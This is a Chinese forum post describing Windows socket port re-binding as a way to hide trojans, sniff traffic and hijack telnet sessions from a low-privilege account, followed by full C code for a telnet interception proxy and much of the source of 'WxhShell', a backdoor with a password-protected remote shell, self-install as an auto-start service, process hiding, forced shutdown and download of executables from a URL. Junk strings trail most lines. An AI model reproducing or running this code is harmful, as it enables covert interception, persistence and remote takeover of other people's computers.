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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: raI~BIfe  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?[>BssW  
~pBxFA  
  saddr.sin_family = AF_INET; 8-g$HXqs_#  
{ G>+.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); DkMC!Q\  
va*>q-QCr  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); O6/=/-?N=c  
b!tZbX#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ABYW1K=  
v_ F?x!  
  这意味着什么?意味着可以进行如下的攻击: apWrcaj  
K/LaA4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 AxqTPx7`|  
PL B=%[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) HBkQ`T  
b:d.Lf{y7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ).#D:eO[~  
E ^>7jf09,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  tp3N5I  
y]z#??  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 p.7p,CyB  
t $ ~:C  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *} 4;1OVT  
us *l+Jw,m  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9Yne=R/]  
97 X60<  
  #include <5L`d}  
  #include |"&4"nwa  
  #include jtCob'n8  
  #include    fC:\Gh5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,(b~L<zN&  
  int main() 6h"? 3w  
  { ,tc]E45  
  WORD wVersionRequested; 9GOyVKUv  
  DWORD ret; SQCuY<mD  
  WSADATA wsaData; BU .G~0  
  BOOL val; E 4(muhY  
  SOCKADDR_IN saddr; G!Q)?N    
  SOCKADDR_IN scaddr; J)~=b_'<  
  int err; m=y)i]=1  
  SOCKET s; .j,&/y&  
  SOCKET sc; !kYmrj**  
  int caddsize; <AXYqH7%A  
  HANDLE mt; dv>zK#!  
  DWORD tid;   0 N^V&k   
  wVersionRequested = MAKEWORD( 2, 2 ); cE#Y,-f  
  err = WSAStartup( wVersionRequested, &wsaData ); =z dti'2{4  
  if ( err != 0 ) { jP]'gQ!-w  
  printf("error!WSAStartup failed!\n"); }gt~{9?c  
  return -1; "R]K!GUU  
  } z[Qv}pv  
  saddr.sin_family = AF_INET; Mqy`j9FbL  
   !r,d rb  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 S]{Z_|h*j  
n*uZ=M_/Q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); r3)t5P*_  
  saddr.sin_port = htons(23); yLX\pkAt4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) EtG)2)  
  { kDQXP p  
  printf("error!socket failed!\n"); "+60B0>sc  
  return -1; .})8gL7 V  
  } Ks-><-2+N  
  val = TRUE; lX7^LB  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >oNs_{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \k8_ZJw  
  { HmKE>C/  
  printf("error!setsockopt failed!\n"); cPSpPx  
  return -1; |d8o<Q  
  } fQh!1R  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; NgKNT}JDv  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !k) ?H* ^@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 r+2dBp3  
G.8ZISN/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4k 8 @u  
  { Hl51R"8o  
  ret=GetLastError(); !% Md9Mu!o  
  printf("error!bind failed!\n"); ;pJ7k23(  
  return -1; S6uBk"V!  
  } T^ -RP  
  listen(s,2); 0FBifK  
  while(1) uWSG+  
  { Q6E80>  
  caddsize = sizeof(scaddr); C|+5F,D  
  //接受连接请求 Ru/3>n  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); '"6VfF)*  
  if(sc!=INVALID_SOCKET) PeOgXg)L`z  
  { YAD9'h]d\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); RAvV[QkT  
  if(mt==NULL) LS;kq',  
  { q?wB h^  
  printf("Thread Creat Failed!\n"); (q utgnW  
  break; -7CkOZT  
  } -1[ri8t;nV  
  } I>:'5V  
  CloseHandle(mt); =6>mlI>i  
  } 9,4a?.*4~  
  closesocket(s); &" =inkh  
  WSACleanup(); _:T\[sz5  
  return 0; F$.M2*9  
  }   D+RG,8Ht  
  DWORD WINAPI ClientThread(LPVOID lpParam) {Tx+m;5F  
  { MYu-[Hg  
  SOCKET ss = (SOCKET)lpParam; Te;`-E L  
  SOCKET sc; cdk;HK_Ve.  
  unsigned char buf[4096]; V /|@   
  SOCKADDR_IN saddr; ]^dXB 0  
  long num; 9+pnpaZB0  
  DWORD val; F<o J  
  DWORD ret; iidK}<o  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =VDN9-/.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   =5+:<e,&  
  saddr.sin_family = AF_INET; =>&d[G[m!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); U4%P0}q/  
  saddr.sin_port = htons(23); th !Gc  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pj'Yv  
  { VsFRG;:\U  
  printf("error!socket failed!\n"); n{|~x":9V  
  return -1; 2: fSn&*/>  
  } i9$ -lk  
  val = 100; (.Sj"6+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I~EJctOG  
  { a&9+<  
  ret = GetLastError();  $33wK  
  return -1; ~r+;i,,X  
  } U",kAQY  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H&l/o  
  { ^k/@y@%  
  ret = GetLastError(); K%)u zP  
  return -1; 3 (jI  
  } |G } qY5_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) A(ql}cr  
  { uK1DC i  
  printf("error!socket connect failed!\n"); Dhv ^}m@  
  closesocket(sc); B/AS|i] sM  
  closesocket(ss); 5V]!xi  
  return -1; #,lJ>mTe4  
  } \'x. DVp  
  while(1) i1}Y;mj  
  { Gg8F>y<[R  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /c6:B5G  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 w`x4i fZ0q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 67?O}~jbG  
  num = recv(ss,buf,4096,0); J4"?D9T3G  
  if(num>0) R0HzNk  
  send(sc,buf,num,0); !E#FzY!}Pl  
  else if(num==0) f@rR2xZoQ  
  break; RR |Z,  
  num = recv(sc,buf,4096,0); k> SPtiAs  
  if(num>0) rv ouE:  
  send(ss,buf,num,0); 8`Ih> D c  
  else if(num==0) 4c0 =\v  
  break; g:8k,1y5  
  } %OE (?~dq  
  closesocket(ss); fAYp\ k  
  closesocket(sc); Ku$:.  
  return 0 ; SI\ O>a 9{  
  } @kBy|5  
%0&59q]LM  
yI$KBx/]n  
========================================================== !-B$WAV  
pV[SY6/  
下边附上一个代码,,WXhSHELL %1h%#/#[  
1K\z amBg  
========================================================== +@G#Z3;l!  
XN|[8+#U<@  
#include "stdafx.h" AO[/-Uij  
x<d2/[(}mT  
#include <stdio.h> cb82k[L6  
#include <string.h> q[}W&t,  
#include <windows.h> q!f'?yFYK  
#include <winsock2.h> zPm|$d  
#include <winsvc.h> *E.uqu>I  
#include <urlmon.h> nOTe 3?i>  
erlg\-H   
#pragma comment (lib, "Ws2_32.lib") Iw;i ".  
#pragma comment (lib, "urlmon.lib") yi.GD~69  
'u}OeS"f  
#define MAX_USER   100 // 最大客户端连接数 N||a0&&  
#define BUF_SOCK   200 // sock buffer  hik.c3  
#define KEY_BUFF   255 // 输入 buffer s'B$/qCkR  
5D+rR<pD}"  
#define REBOOT     0   // 重启 Xx,Rah)X3  
#define SHUTDOWN   1   // 关机 =[do([A  
pgd9_'[5  
#define DEF_PORT   5000 // 监听端口 ;.+C  
F e1^9ja  
#define REG_LEN     16   // 注册表键长度 *)bh6b=7  
#define SVC_LEN     80   // NT服务名长度 <g$bM;6%  
weH;,e*r  
// 从dll定义API a! gj_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VV-%AS6;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zD@RW<M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `|p8zV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HuLvMYF  
Ve\.7s  
// wxhshell配置信息 O-(gkE  
struct WSCFG { "N3!!3  
  int ws_port;         // 监听端口 pnpf/T{xpM  
  char ws_passstr[REG_LEN]; // 口令 f]NaQ!. 7  
  int ws_autoins;       // 安装标记, 1=yes 0=no BD2Gv)?g  
  char ws_regname[REG_LEN]; // 注册表键名 Owz>g4l r  
  char ws_svcname[REG_LEN]; // 服务名 |U`A So  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B-p ].  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "G!,gtA~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1VA%xOURh  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oM!zeJNA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mXT{c=N)w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g?rK&UTU  
,a3M*}Y ~3  
}; _};T:GOT  
x-T7 tr&(  
// default Wxhshell configuration H2{&da@D5  
struct WSCFG wscfg={DEF_PORT, LIRL`xU7  
    "xuhuanlingzhe", >P}6/L  
    1, .2 }5Dc,eR  
    "Wxhshell", /Py`a1  
    "Wxhshell", 2,rjy|R`  
            "WxhShell Service", <z QUa  
    "Wrsky Windows CmdShell Service", .*Axr\x3  
    "Please Input Your Password: ", yK>s]65&  
  1, [Qn=y/._r  
  "http://www.wrsky.com/wxhshell.exe", &4m;9<8\  
  "Wxhshell.exe" ~}Z'/ zCZf  
    }; 3uuB/8  
\tfhF#'  
// 消息定义模块  z:d+RMA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q[ .d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Lf+3nN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -:Jn|=  
char *msg_ws_ext="\n\rExit."; tC&jzN"  
char *msg_ws_end="\n\rQuit."; {^@qfkZz^  
char *msg_ws_boot="\n\rReboot..."; $yZ(ws  
char *msg_ws_poff="\n\rShutdown..."; <-xu*Fc  
char *msg_ws_down="\n\rSave to "; 4EFP*7X  
lT+N{[kLt*  
char *msg_ws_err="\n\rErr!"; D n}TO*  
char *msg_ws_ok="\n\rOK!"; TnLblkX  
(*G'~gSX  
char ExeFile[MAX_PATH]; *h~(LH"tN  
int nUser = 0; S%7%@Qs"%  
HANDLE handles[MAX_USER]; S %(R9N|  
int OsIsNt; +\66; 7]s  
CW@G(R  
SERVICE_STATUS       serviceStatus; *Edr\P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; PF] Vt  
7J$Yd976  
// 函数声明 ?sbM=oo  
int Install(void); l 5z8]/  
int Uninstall(void); C<hb{$@  
int DownloadFile(char *sURL, SOCKET wsh); (Ek=0;Cr  
int Boot(int flag); 0@2pw2{Ru  
void HideProc(void); 3L%g2`  
int GetOsVer(void); N0&#fXO  
int Wxhshell(SOCKET wsl); hP=z<&zb/  
void TalkWithClient(void *cs); l( ?Yx  
int CmdShell(SOCKET sock); !@@rO--&  
int StartFromService(void); kA(q-Re$B*  
int StartWxhshell(LPSTR lpCmdLine); Ge4 tc  
9Jp "E5Ql)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }$1Aw%p^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c$]NXKcA  
W'M\DKJ?  
// 数据结构和表定义 AV?<D.<  
SERVICE_TABLE_ENTRY DispatchTable[] = nuX W/7M  
{ M ^~  
{wscfg.ws_svcname, NTServiceMain}, p$&6E\#7  
{NULL, NULL} V39)[FH}  
}; 91bJ7%  
0Z>oiBr4  
// 自我安装 parC~)b_  
int Install(void) {>=#7e-]  
{ 1w|V'e?kb  
  char svExeFile[MAX_PATH]; 5zsXqBG  
  HKEY key; %]@K}!)2  
  strcpy(svExeFile,ExeFile); |A@Gch fd  
 \ l8$1p  
// 如果是win9x系统,修改注册表设为自启动 4C_-MJI  
if(!OsIsNt) { O5p]E7/e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bNO/CD4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1MzOHE  
  RegCloseKey(key); =.Q|gZ   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s% ~p?_P   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q{Lsr,  
  RegCloseKey(key); ^NTOZ0x~#  
  return 0; Ctxx.MM  
    } {bvm83{T  
  } 8M;G@ Q80  
} J8yi#A>+  
else { c{t[iXDG  
g$ *V A} s  
// 如果是NT以上系统,安装为系统服务 c=p@l<)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;{~F7:i  
if (schSCManager!=0) tEl4 !v A  
{ /Iu._2  
  SC_HANDLE schService = CreateService A fctycQ-  
  ( 8}W06k>)%  
  schSCManager, & xqr&(o  
  wscfg.ws_svcname, N{G+|WmQ  
  wscfg.ws_svcdisp, -ijQT B  
  SERVICE_ALL_ACCESS, Z qg(\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (UV+/[,  
  SERVICE_AUTO_START, (&$|R\W.  
  SERVICE_ERROR_NORMAL, .SdEhW15)  
  svExeFile, Yn}_"FO'  
  NULL, VPTT* a`  
  NULL, WLWE%bDP  
  NULL, 'gojP  
  NULL, n]@+<TA<uA  
  NULL Ga%]$4u  
  ); k852M^JP  
  if (schService!=0) %6"b< MAO  
  { s%z'1KPS  
  CloseServiceHandle(schService); Tf"DpA!_  
  CloseServiceHandle(schSCManager); zY|]bP[NEH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8P!dk5 ,,O  
  strcat(svExeFile,wscfg.ws_svcname); v}]x>f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L/GM~*Xp(O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l1N{ujM  
  RegCloseKey(key); Co19^g*  
  return 0; ~]/X,Cf  
    } _A)<"z0E  
  } rA9x T`  
  CloseServiceHandle(schSCManager); UUY-EC7X  
} fT8Id\6js  
} "ngYh]Git$  
ZZE  
return 1; 3_T'TzQ u  
} >UJ&noUD#:  
VSZ6;&2^  
// 自我卸载 GGF;T&DWad  
int Uninstall(void) 4 _N)1u !  
{ Whd4-pR8  
  HKEY key; q'hV 'U  
/@RnCjc'  
if(!OsIsNt) { d!KX.K\NM,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |-_5ou N.  
  RegDeleteValue(key,wscfg.ws_regname); vo`wYJ3W  
  RegCloseKey(key); U&3*c+B4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yK?~X V:  
  RegDeleteValue(key,wscfg.ws_regname);  R/^JyL  
  RegCloseKey(key); u."fJ2}l0X  
  return 0; Z{p6Q1u  
  } @LL&ggV?  
} yekIw  
} fe37T@  
else { P>@`hZ9 o  
cfeX (0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P1) 80<t  
if (schSCManager!=0) ZVp\ 5V*  
{ `8dE8:# Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qfSoF|  
  if (schService!=0) eN> (IW  
  { w ^<Y5K  
  if(DeleteService(schService)!=0) { dWqFP  
  CloseServiceHandle(schService); m]-8?B1`Y  
  CloseServiceHandle(schSCManager); \aZ(@eF@@Q  
  return 0; &YT7>z,  
  } @>9p2u)=  
  CloseServiceHandle(schService); =|U2 }U;  
  }  ~M'\9  
  CloseServiceHandle(schSCManager); 3K?0PRg  
} .v" lY2:N  
} gs8L/veP  
K<]fElh-  
return 1; Y$ChMf  
} pz&=5F  
:x{Q  
// 从指定url下载文件 3-mw-;.  
int DownloadFile(char *sURL, SOCKET wsh) kuH;AMdv  
{ L\Jl'r|  
  HRESULT hr; T) ,:8/  
char seps[]= "/"; 1=;QWb6  
char *token; kQ#eWk J,  
char *file;  Nr[Rp  
char myURL[MAX_PATH]; jYy0^)6X(  
char myFILE[MAX_PATH]; 42wcpSp  
&1h3o^K  
strcpy(myURL,sURL); X#3<hN*v  
  token=strtok(myURL,seps); /B!m|)h5~  
  while(token!=NULL) Dz50,*}J  
  { ,oG"wgf  
    file=token; r/4]b]n  
  token=strtok(NULL,seps); -1_Z*?=-  
  } q9 ;\B&  
 wi9|  
GetCurrentDirectory(MAX_PATH,myFILE); t~M<j| ]k  
strcat(myFILE, "\\"); }-L@AC/\#  
strcat(myFILE, file); kW!:bh  
  send(wsh,myFILE,strlen(myFILE),0); r{Q< a  
send(wsh,"...",3,0); Lq[wabF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WsV3>=@f  
  if(hr==S_OK) P\ s+2/  
return 0; ,\M_q">npc  
else >ek%P;2w>  
return 1; "B}08C,?  
Dy@ \!F  
} K%}I}8M  
>Y+KL  
// 系统电源模块 h(8;7} K  
int Boot(int flag) Qf|}%}% fp  
{ ]-'9|N*}l  
  HANDLE hToken; e 1loI8  
  TOKEN_PRIVILEGES tkp; c_q+_$t  
f`,Hr?H  
  if(OsIsNt) { 3b 3cNYP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2A%T!9J3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oPy zk7{  
    tkp.PrivilegeCount = 1; %~5Q^3$O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,&?q}M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (d;(FBk='  
if(flag==REBOOT) { 1Kh?JH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B%@!\ D#  
  return 0; ;0!Wd  
} VQ?H:1R  
else { &&]!+fTZ\(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'Xl>,\'6  
  return 0; qX'a&~s)n  
} I=%sDn  
  } >1U@NK)HfY  
  else { =+h!JgY/L  
if(flag==REBOOT) { G`#gV"PlC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]0i2 ]=J&,  
  return 0; uHro%UAd  
} +@u C:3jM  
else { 3t8H?B12ow  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !;*2*WuO;  
  return 0; JGDUCb~  
} OPY/XKyY,  
} V&oT':%q  
2Ml2Ue-9  
return 1; 7oe@bS/Z  
} K^vp(2  
x0A %kp&w  
// win9x进程隐藏模块 %H}Y]D~R  
void HideProc(void) mjl!Nth:<  
{ KHus/M&0  
y]YS2^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M}oj!xGB  
  if ( hKernel != NULL ) 4`-?r%$,:  
  { &/hr-5k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Omh&)|Iql  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :$cSQ(q9a  
    FreeLibrary(hKernel); l6B^sc*@  
  } _{`'{u  
:y-0qz D?  
return; qv*uM0G6i  
} 2V2x,!  
%M)oHX1p  
// 获取操作系统版本 7YXXkdgbd  
int GetOsVer(void) v*'iWHCl,  
{ LB*#  
  OSVERSIONINFO winfo; ;*4tVp,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); LJNie*  
  GetVersionEx(&winfo); C3 b0`|5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (_&V9vat=  
  return 1; svq9@!go  
  else N]s7/s  
  return 0; qgC-@I  
} [5p7@6:$u  
`/wq3+?  
// 客户端句柄模块 k|$"TFXx;  
int Wxhshell(SOCKET wsl)  TCKI  
{ jRdhLs,M9  
  SOCKET wsh; ngkeJ)M0$  
  struct sockaddr_in client; {c\oOM<7  
  DWORD myID; Q 9gFTLQ  
%is,t<G  
  while(nUser<MAX_USER) Z}K.^\S9  
{ @1/}-.(n  
  int nSize=sizeof(client); bco[L@6G$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o3i,B),K  
  if(wsh==INVALID_SOCKET) return 1; =8$0$d  
R%)2(\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); LA;V}%y ?  
if(handles[nUser]==0) .,ppGc| *  
  closesocket(wsh); [aWDD[#j~  
else 94h_t@Q/1  
  nUser++; =!g/2;-or  
  } fNAo$O4cm  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0?6 If+AC  
FD XWFJ  
  return 0; 47C(\\  
} Rg8m4xw  
QWz Op\+  
// 关闭 socket 43{_Y]  
void CloseIt(SOCKET wsh) (pT(&/\8  
{ z@Z_] h  
closesocket(wsh); 409x!d~it  
nUser--; <=)D=Ax/_[  
ExitThread(0); G.-h=DT]  
} g:uvoMUD  
[V> :`?  
// 客户端请求句柄 ^)9MzD^_nV  
void TalkWithClient(void *cs) >/!7i3Ow-  
{ |8DH4*y!  
J$6-c' 8  
  SOCKET wsh=(SOCKET)cs; J8GXI:y  
  char pwd[SVC_LEN]; `N|U"s;  
  char cmd[KEY_BUFF]; -~v l+L  
char chr[1]; ( Lok  
int i,j; {[M0y*^64$  
ba(arGZ+{  
  while (nUser < MAX_USER) { >%uAQiU  
J{Y6fHFi  
if(wscfg.ws_passstr) {  _DPB?)!x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #D|! .I)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %XEKhy  
  //ZeroMemory(pwd,KEY_BUFF); tr6jh=  
      i=0; 4 [R8(U[g  
  while(i<SVC_LEN) { w?]ZU-  
j!zA+hF (  
  // 设置超时 ~q0I7M  
  fd_set FdRead; pY+.SuM  
  struct timeval TimeOut; <^,o$b  
  FD_ZERO(&FdRead); Ujce |>Wn  
  FD_SET(wsh,&FdRead); ioB|*D<U2  
  TimeOut.tv_sec=8;  /6+1{p  
  TimeOut.tv_usec=0; W4)kkJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Vk MinE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); XIr{U5$<6  
5SoZ$,a<e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cZNi~  
  pwd=chr[0]; <Vz<{W3t  
  if(chr[0]==0xd || chr[0]==0xa) { qSFc=Wwc  
  pwd=0; DJm oW  
  break; [leW/2i  
  } |HrM_h<X  
  i++; ,\BVV,  
    } NJn&>/vM  
-Qg 2qN2{  
  // 如果是非法用户,关闭 socket M (+.$uz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V -q%r  
} `@h:_d  
C@*%AY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y8)}P WMs  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HR;/Br  
A:kkCG!~Nf  
while(1) { ,VAp>x+O  
.2e1S{9  
  ZeroMemory(cmd,KEY_BUFF); Ee&hG[sx  
#:$O=@@?M  
      // 自动支持客户端 telnet标准   :bwM]k*$  
  j=0; c\M#5+1j  
  while(j<KEY_BUFF) { -<_7\09  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q4X7Iu:  
  cmd[j]=chr[0]; ,*7H|de7   
  if(chr[0]==0xa || chr[0]==0xd) { #e*X0;m  
  cmd[j]=0; =K :(&6f<t  
  break; vK(I3db !  
  } Yj) e$f  
  j++; 'V&2Xvl%  
    } Mec{_jiH&D  
kGm:VYf%  
  // 下载文件 -&imjy<  
  if(strstr(cmd,"http://")) { oAY_sg+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); tVunh3-  
  if(DownloadFile(cmd,wsh)) wy''tqg6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); s|Zx(.EP  
  else .!i0_Rv5x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M`~!u/D7  
  } co/7lsW  
  else { eZNitGaU  
;`kWpM;  
    switch(cmd[0]) { hY+R'9  
  Y;,Hzmbs6w  
  // 帮助 >dk 9f}7-  
  case '?': { a}>Dz 1R  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  QsOhz  
    break; ^n9a " qz  
  } Noh?^@T`Ov  
  // 安装 *zy'#`>  
  case 'i': { 5[4Z=RP  
    if(Install()) kJkxx*:u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^uW%v2  
    else [Uli>/%JB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); , H2YpZk  
    break; Zn&k[?;Al  
    } J{Tq%\a3  
  // 卸载 -4flV D  
  case 'r': { 6e.v&f7(  
    if(Uninstall()) ,)h)5o(?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fc8E Y*  
    else %9o+zg? RJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $b>}C= gt  
    break; LmQ/#Gx  
    } K;U39ofW  
  // 显示 wxhshell 所在路径 cS|VJWgTZ  
  case 'p': { e7xj_QH  
    char svExeFile[MAX_PATH]; RH(V^09[o  
    strcpy(svExeFile,"\n\r"); SMoz:J*Q(  
      strcat(svExeFile,ExeFile); r7 VXeoX  
        send(wsh,svExeFile,strlen(svExeFile),0); @u) 'yS  
    break; @Z;1 g  
    } ^7aN2o3{  
  // 重启 \k@Z7+&7  
  case 'b': { [$a<b/4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rg5]&<Vq8  
    if(Boot(REBOOT)) n#*`!#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u1cu]Sj0  
    else { <\@ 1Zz@ms  
    closesocket(wsh); 9vI]Lf P  
    ExitThread(0); Ht[{ryTxu  
    } 7>i2OBkAhB  
    break; &Un6ay  
    } 8LJ{i%  
  // 关机 /smiopFcq  
  case 'd': { ;/LD)$_  
